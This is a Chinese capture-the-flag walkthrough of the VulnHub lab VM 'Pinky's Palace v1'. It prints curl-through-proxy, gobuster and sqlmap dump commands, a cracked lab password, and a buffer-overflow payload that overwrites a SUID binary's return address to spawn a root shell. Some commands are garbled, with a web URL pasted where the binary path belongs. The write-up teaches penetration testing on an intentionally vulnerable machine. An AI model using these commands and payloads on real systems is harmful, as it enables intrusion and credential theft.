VulnHub-Pinky’s Palace: v1-靶机渗透测试

访客3年前黑客工具1178

靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v1,225/

靶机难度:中级(CTF)

靶机发布日期:2018年3月6日

靶机描述:Box信息:使用仅DHCP主机和桥接适配器类型在VirtualBox上进行了测试。

难以获得用户:简单/中级

扎根困难:容易/中级

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐

信息收集

nmap扫描IP

1610613568_60000340792df037e47ef.png!small?1610613568154

nmap扫描端口

1610613641_60000389563b71b2ae8da.png!small?1610613642607

8080 http nginx 1.10.3

31337 http-proxy squid 3.5.23

64666 openssh7.4

直接访问8080端口返回403

  • 403forbidden :一个HTTP协议的状态码,简单理解为没有权限访问此站。该状态表示服务器理解了本次请求但是拒绝执行该任务,通常由于服务器上文件或目录的权限设置导致的WEB访问错误。

1610613657_6000039902953971e86f9.png!small?1610613656758

配置192.168.56.11:31337,访问8080端口

curl -i --proxy http://192.168.56.11:31337http://127.0.0.1:8080/

1610613683_600003b3a6ba0e5614723.png!small?1610613683916

可以访问

这里将url的IP配置为127.0.0.1,是因为通过 *** 传递http求情时,127.0.0.1指向 *** 服务器的地址(192.168.56.11)也就是靶机的地址。

1610613688_600003b8b7f6251bfa673.png!small?1610613688336

1610613692_600003bc3bcf004b80d3e.png!small?1610613691929

使用gobuster爆破目录

gobuster dir -p http://192.168.56.11:31337-u http://127.0.0.1:8080-t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3- *** all.txt -s 200,301,302

Gobuster这款工具基于Go编程语言开发,可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。

  • dir:传统的目录爆破模式;

  • dns:DNS子域名爆破模式;

  • vhost:虚拟主机爆破模式;

  • -p: *** 配置

  • -u:URL连接

  • -t:线程数(默认是10)

  • -w:字典,本次使用的是用的DirBuster的字典。

  • -s:只显示200,301,302状态的网页

1610613709_600003cd6a1af43d901c2.png!small?1610613709409

找到了一个/littlesecrets-main目录

1610613726_600003ded41c739b685b9.png!small?1610613726521

测试一下显示:账号或密码错误,这样也没办法依次爆破账号密码

1610613731_600003e353a54d938a6f5.png!small?1610613730996

BurpSuite配置 ***

使用burpsuite抓包,sqlmap跑一下看看,

因为需要 *** ,首先在user options模块设置 ***

1610613794_60000422ddddf8b5a60d2.png!small?1610613794817

在proxy模块设置浏览器访问的 ***

1610613800_600004285a49bf452e40b.png!small?1610613800330

浏览器 *** 设置为127.0.0.1:8080,就可以抓到包了

1610613804_6000042ceac622497dc9f.png!small?1610613805270

Sqlmap注入测试

使用sqlmap测试,发现http消息头user-agent参数存在基于时间的盲注

sqlmap --proxy="http://192.168.56.11:31337"? -r sqlmap.txt --level 3 --batch

1610613817_60000439118b7a89f4e26.png!small?1610613818378

使用sqlmap找到登陆的账号密码

sqlmap --proxy="http://192.168.56.11:31337"? -r sqlmap.txt --level 3 --batch -D pinky_sec_db -T users -C user,pass --dump

1610613821_6000043dd85e280334a55.png!small?1610613821528

密码是MD5加密,解密获得

pinkymanage\3pinkysaf33pinkysaf3

pinky\f543dbfeaf238729831a321c7a68bee4 (破解失败)

登陆一下,web界面不能登陆,ssh可以登陆

提权

进去看了一圈都不能提权,现在home目录下也发现了pinky但是密码破解不了

1610613931_600004ab840a4636cf3a4.png!small?1610613931190

在/var/www/html/littlesecrets-main/ultrasecretadminf1l35目录获得提示,将他将rsa秘钥放在这里,不知道是不是pinky秘钥测试一下

1610613936_600004b079ca40d0feb49.png!small?1610613936279

将key写到kail中,之一次因为权限太大,修改权限,显示格式错误

1610613942_600004b625bf0b7f87581.png!small?1610613941724

将秘钥通过base64解码,将解码获得数据接入一个文件

1610613948_600004bca418d608a5ab5.png!small?1610613948609

修改600权限,连接pinky用户

1610613955_600004c3797943ec467e1.png!small?1610613955104

在家目录下获得提示

1610613959_600004c7c4fbbd6758a48.png!small?1610613959557

没懂什么意思,同时但看adminhelper文件具备root用户的SID权限,执行以下是个打印程序

1610613971_600004d3c96f3ed633b81.png!small?1610613971384

靶机自带gdb调试工具,使用gdb打开程序

1610613977_600004d91cf7c37930955.png!small?1610613976693

查看main函数,发现程序使用了strcpy函数,看来是个缓冲区溢出的问题,也同时发现了spawn函数

  • info functions :列出可执行文件的所有函数名称,在内存中的symbol table查找,结果中的地址是内存里的地址,所以得到结果后,直接b(break,添加断点)这个地址,即可正确加断点。

  • jump:当调试程序时,你可能不小心走过了出错的地方,可jump回去

  • break : 给程序设置断点

  • i b : 查看断点

  • delect 编号 : 删除断点

  • disas $pc:反汇编当前函数。

  • spawn()则会创建一个新的进程来执行,生成一个子进程。返回代码将表明的状态创建进程。

1610614011_600004fb37f8ce4cf7c6c.png!small?1610614010944

直接打印1024个字符,发现报错但是不返回报错的位置

1610614015_600004ffa37a87302c4cb.png!small?1610614015255

只能慢慢测试找到他溢出的位置了,找到了溢出的位置,第72个字符

1610614022_600005068edc46b8b349e.png!small?1610614022266

使用jump调用spawn函数时获得shell

1610614030_6000050e3b92631d37b47.png!small?1610614029756

这样的话我们将EIP中的返回地址修改为spawn函数的内存地址,让程序溢出时,通过EIP跳转到spawn函数执行获得shell,获得ROOT权限

查看程序运行之后spawn函数的内存位置

1610614085_60000545a70457bd7ef3a.png!small?1610614085285

0x00005555555547d0 需要调整顺序\xd0\x47\x55\x55\x55\x55,前两位00不要,是因为\x00代表空格,在运行中\x00自动终止程序运行。

最后拼接的字符串如下,测试一下

run? $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")

1610614096_60000550376c9dd5fce67.png!small?1610614095864

成功执行了spawn函数,spawn函数获得交换shell。

接下来执行程序

命令:https://www.freebuf.com/articles/web/adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")

1610614202_600005ba5e3034c05d130.png!small?1610614201938

成功利用缓冲区溢出,获得root权限

完成!!!

总结

此靶机不难,都是之前用过的知识,这次有拿起来感觉自己知识一点都不牢固,感觉自己真废。

1、使用nmap扫描靶机端口,发现系统需要配置31337 *** 才可以访问8080端口,使用gobuster爆破目录,获得一个登陆界面。

2、使用sql对登陆界面测试,发现http消息头中user-agent参数存在基于时间的盲注。通过sqlmap找到pinkymanage用户账号密码。

3、ssh登陆pinkymanage用户,在var的目录下获得base加密的pinky的秘钥,解密使用秘钥登陆pinky用户。

4、在pinky用户家目录下,发现一个存在SID权限的root拥有者的程序,gdb调试使用info functions命令查看发现程序存在strcpy函数,可能存在缓冲区溢出漏洞,spawn函数可以获得一个交互的shell。

5、测试发现72个字符可临程序溢出,gdb调用程序,run运行程序,disas spawn查看spawn函数的程序运行后内存的地址,将72个字符与spawn内存地址拼接,spawn内存地址将会覆盖EIP的返回地址,调用spawn函数。

6、https://www.freebuf.com/articles/web/adminhelper $(python -c "print 'a' * 72 + '\xd0\x47\x55\x55\x55\x55'")成功将spawn内存地址覆盖EIP的返回地址,调用spawn函数获得一个root权限的shell。

相关文章

女孩子早恋什么危害(恋爱如何和对象相处)

为什么此刻的初中生,有种一长处晤面就会酡颜的样子,高中早恋你要答复no,这但是实实在在的真实啊,青少年怎么跟异性来往。怎么办理是人的潜意识里本我”的表示,早恋不是我没想。小学早恋师生之间也有大概成为真...

最新黑客专家小说(黑客大神小说)

最新黑客专家小说(黑客大神小说)

本文目录一览: 1、谁有完本的黑客小说 2、求几本黑客类的小说 3、谁知道 有关于黑客的小说推荐几本 4、首席黑客txt全集下载 5、谁介绍几本有关黑客的小说! 6、求几本好看的黑...

黑客qq技术交流论坛(黑客技术盗qq号教程)

黑客qq技术交流论坛(黑客技术盗qq号教程)

     “远程破解”是指QQ盗号者通过网络盗窃远端QQ用户的密码。这种QQ破解有很多方法,如在线密码破解、登录窗口破解、邮箱破解、消息诈骗以及形形色色的QQ木马病毒等。下面就让我们一同来看看这些QQ...

做网站找什么公司(想做个网站,找什么公司)

做网站找什么公司(想做个网站,找什么公司)

本文导读目录: 1、做网站找谁做 2、有哪些比较专业的做网站的公司 3、如何做网站,要找谁做网站? 4、做网站应该找哪种公司 5、哪家网络公司做网站好? 6、做网站找什么公司...

针对HTTPS加密流量的Webshell检测研究(冰蝎全系列有效)

针对HTTPS加密流量的Webshell检测研究(冰蝎全系列有效)

webshell是Web攻击中常见的一种木马形式,目前主流的检测方法都是基于HTTP请求和响应流量的内容特征,然而在HTTPS协议下,很多webshell检测机制是无能为力的。冰蝎这类加密型websh...

2018赚钱最快的几种方法,轻松月入上万

2018赚钱最快的几种方法,轻松月入上万

赚钱最快的方法是什么?你了解吗?赚钱其实是聚敛财富,挣钱盈利,通过自身的资本或者劳动力产生收入的一个过程,这里,为大家整理了挣钱最快的8个方法。 1、眼观六路 这一招的要点在于注意与善于观察,对新...